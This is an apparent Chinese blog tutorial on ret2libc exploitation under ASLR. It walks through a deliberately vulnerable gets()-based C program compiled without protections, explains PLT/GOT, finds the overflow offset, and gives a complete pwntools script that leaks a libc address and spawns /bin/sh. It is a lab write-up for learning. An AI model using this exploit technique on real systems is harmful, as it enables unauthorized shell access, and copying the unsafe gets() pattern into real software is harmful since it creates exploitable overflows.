ret2libc过地址随机化

程序:

#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{
	char buf1[10];
	gets(buf1);
}
void main()
{
	write(1,"sinxx",5);
	vul();
}

很明显,gets函数存在溢出
编译:

gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c

我们要用溢出,执行system("/bin/sh")函数

0x01 了解plt和got表

具体了解,看这篇文章:https://blog.csdn.net/qq_18661257/article/details/54694748

为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的,如下图:

在这里插入图片描述

实际当中并不是,这里只是为了方便理解,画成这样,具体可看上面的文章

PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,到这里大家也知道了PLTPLT表中的数据根本不是函数的真实地址,而是GOT表项的地址,好坑啊。

其实在大家进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。

我们反汇编我们的程序,其中有下图中的write<@plt> ,这个地址并不是write函数真正的地址,这个是GOT表存放write函数地址数据的地址。
在这里插入图片描述
我们要记得plt表中并不是函数真是的地址,got表才是函数真正的地址,plt给的地址是来寻找got表中真正的函数地址。

0x02 分析

我们来看看保护机制:

在这里插入图片描述
虽然关闭了PIE,这个只是对这个程序来说没有PIE,当我们去执行system("/bin/sh"),动态调用,这个还是有地址随机化的。

我们要找到system和/bin/sh真正的地址,采用利用溢出去执行。

0x03 找到溢出点

利用pade生成100个字符

pattern create 100

在这里插入图片描述
使用命令c,让程序继续执行,复制我们生成的字符串,注意单引号不要复制
在这里插入图片描述
溢出了,查看现在的EIP,AA(A
使用命令查看溢出位置

pattern offset AA(A

在这里插入图片描述
溢出在22

0x04 构造poc

from pwn import *
context(arch="i386",os="linux")
p=process("9.exe")
e=ELF("9.exe")		#加载9.exe这个文件
addr_write=e.plt["write"]	#找到plt表中write地址
addr_gets=e.got["gets"]		#找到got表中get地址
addr_vul=e.symbols["vul"]	#找到vul函数地址

print pidof(p)
offset=22
pause()

payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1)	#接收sinxx后发送payload1
gets_real_addr=u32(p.recv(4))		#将接收到的字符变成32位地址

libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()

payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()

解释:

  • addr_write=e.plt[“write”] #找到plt表中write地址
    这个是找plt表中的地址,程序调用函数是先调用plt表中的地址,然后根据这个去找got表中真实的函数地址。
  • addr_gets=e.got[“gets”] #找到got表中get地址
    这个是找到gets函数真正的地址,是为了后面找system和/bin/sh真实地址做准备的
  • rva_libc=gets_real_addr-libc.symbols[“gets”]
    gets_real_addr是gets真实的地址,libc.symbols[“gets”]是gets在libc中的偏移地址,真实地址与偏移地址是不一样的,我们可以根据这个差,然后找到system和/bin/sh在libc中偏移地址,两者在相加就找到了system和/bin/sh的真实地址。

注意:poc中一共执行了两次poc,一次是执行按照执行顺序执行力一次,一次是payload1中执行执行了一次

很多人就有疑问了,我们为什么不直接找到system和/bin/sh在got的地址呢?

我们也想找到啊!关键它得有啊!
为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT和GOT是程序编译时采用,所以system和/bin/sh并不在程序中,所以没有。

结果:
在这里插入图片描述

0x05 总结

我们利用溢出执行了程序没有的函数,虽然程序中是没有地址随机化的,但我们利用溢出去执行的函数所在的模块是有的,所以我们要把每次的变化求出来。

我们根据程序使用了libc库,libc库中有system和.bin/sh,所以我们可在libc找到system和.bin/sh,在libc中,我们找出system和.bin/sh的地址是偏移地址,但不是真正的地址,所以我们还需要计算出偏移量,根据gets函数,找到gets在GOT表中真实的地址,再找出在libc库的偏移地址,两者相减就找出了偏移量,最后根据偏移量和出system和.bin/sh的偏移地址,最终找到system和/bin/sh真实地址

关键是理解plt、got和偏移地址的关系,其他很好理解

注:自己理解,如有错误,请指出

发布了203 篇原创文章 · 获赞 19 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_41683305/article/details/105593284